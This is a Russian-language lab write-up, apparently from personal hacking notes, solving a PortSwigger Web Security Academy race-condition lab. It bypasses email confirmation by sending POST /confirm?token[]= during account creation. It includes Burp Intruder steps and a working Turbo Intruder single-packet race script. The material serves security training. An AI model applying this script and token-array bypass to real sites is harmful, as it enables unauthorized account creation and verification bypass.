> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/race-conditions/partial-construction-race-condition.md).

# Состояние гонки при частичном построении

### Состояния гонки при частичном построении

#### Цель лабораторной работы

* Сайт предлагает механизм регистрации с **проверкой почты**.
* Один **условия гонки** позволяет вам **обойти проверку** и зарегистрироваться с произвольным адресом.
* Конечная цель: **создать аккаунт**, войти в систему, затем **удалить пользователя `carlos`**.

#### Наблюдаемый контекст (регистрация)

* Сообщение со стороны UI:

<figure><img src="/files/0b24b8bdde6c611c5a4dc1466c04cc4383e429b2" alt=""><figcaption></figcaption></figure>

Попытка создать аккаунт с email, предоставленным лабораторией -> ответ:

<figure><img src="/files/d8818608b467833f07cc96536c33a238966175dc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/de5b325588fbf50c86fe709e301d0932e93f57e5" alt=""><figcaption></figcaption></figure>

Попытка с корректным email, например `jordan@ginandjuice.shop` → ответ:

**«Проверьте свою почту для ссылки на регистрацию аккаунта»**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/9b35ba8423dab9769c620555e3c17c914464c0b6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3b8be26ce129270c510455c34459faebd88f1a4a" alt=""><figcaption></figcaption></figure>

#### Анализ эксплуатации (resources/users.js)

<figure><img src="/files/4d34e01b6c81c6d356c705bdbcfa64398d2b4a2a" alt=""><figcaption></figcaption></figure>

В `users.js`, мы видим:

* Форма регистрации отправляет `username`, `email`, `пароль`.
* Подтверждение email выполняется через **POST** на:
* `POST /confirm?token=...`
* Токен извлекается из URL и подставляется в action формы подтверждения.

Вывод: валидация зависит от эндпоинта **/confirm** с **токен** передаваемого в строке запроса.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Имя пользователя';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'Email';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Пароль';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Зарегистрироваться';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Подтвердить';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Первая попытка и блокировка

* Попытка принудить пустое подтверждение:

```http
POST /confirm?token=token
```

<figure><img src="/files/51d953983f2fffb4a1730fd9b983cf269faa290c" alt=""><figcaption></figcaption></figure>

* Ответ: **Запрещено** → защищённый эндпоинт против пустого токена

<figure><img src="/files/4ad371548c8c98d43586aa0d4c84b7d861fac0f0" alt=""><figcaption></figcaption></figure>

#### Обход защиты (альтернативная интерпретация)

Новая попытка:

```bash
/confirm?token[]=
```

* Ответ: \*\*
* Интерпретация: сервер больше не блокирует запрос как Forbidden, он \*\* обрабатывает значение\*\* (но указывает, что это массив).

<figure><img src="/files/2631fdff2415cde58c780c1604939dcb004c365b" alt=""><figcaption></figcaption></figure>

#### Наблюдение по времени

* У **регистрация** запрос медленнее:
* /\~ **199 мс**

У **подтверждение** запрос быстрее:

* /\~ **78 мс**

<figure><img src="/files/ebb5f892ef14d68119dcd0ef15c15b8ca214596a" alt=""><figcaption></figcaption></figure>

Идея: **бомбить** `/confirm?token[]=` в течение окна, пока аккаунт создаётся, чтобы вызвать подтверждение в неправильный момент

### Эксплуатация

#### Способ 1 — Intruder (конкурентно)

1. Отправьте `POST /confirm?token[]=` запрос в Intruder.

<figure><img src="/files/faebd3e5a87b3c5b1ef72d3292df3e7b6656fa31" alt=""><figcaption></figcaption></figure>

* Настройте отправку как **конкурентные запросы** (например, 10).

<figure><img src="/files/5e9d10dfafa8274075b0fc4c494af78f7610059a" alt=""><figcaption></figcaption></figure>

* Во время этого спама из Repeater (или браузера) создайте несколько аккаунтов:
* `test1`, `test2`, `test3`,... `test7`

Проверьте ответы в Intruder:

* Один из ответов в итоге возвращает **200**

<figure><img src="/files/a289514e6a5415789facd72a2b9a16e6f0a6870d" alt=""><figcaption></figcaption></figure>

Попробуйте войти с тестовыми аккаунтами:

* Наблюдаемый успех (например, `test2`).

<figure><img src="/files/86be9a66cfb9b8dc069edb6a5d848401d516cbdf" alt=""><figcaption></figcaption></figure>

#### Способ 2 — Turbo Intruder (Race Single Packet Attack)

1. Выберите запрос и отправьте его в **Turbo Intruder**.

<figure><img src="/files/92ddd346bdf6706d71d4276d6d49cb0cfb94adb3" alt=""><figcaption></figcaption></figure>

* Выберите **race / single-packet** атаке.

<figure><img src="/files/cd78a4cf186150347036d654ca5bdf74aebece57" alt=""><figcaption></figcaption></figure>

Используйте этот скрипт:

Принцип работы скрипта (как применено здесь):

* Файл **несколько регистраций** (`lol0..lol19` пользователей)
* Запрос **много подтверждений** (`/confirm?token[]=`)
* Откройте шлюз, чтобы вызвать состояние гонки.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/1260e3b61a23f7712f74ee090b2e627f3b31f8c9" alt=""><figcaption></figcaption></figure>

#### Ожидаемый результат

* Создаётся как минимум один аккаунт **как будто email был подтверждён** (без владения токеном).
* Затем вы можете войти с этим аккаунтом и использовать его функции, чтобы достичь цели лаборатории (удаление `carlos`).

<figure><img src="/files/43bb055423d6bd8e271baa5a7ce363197774e099" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
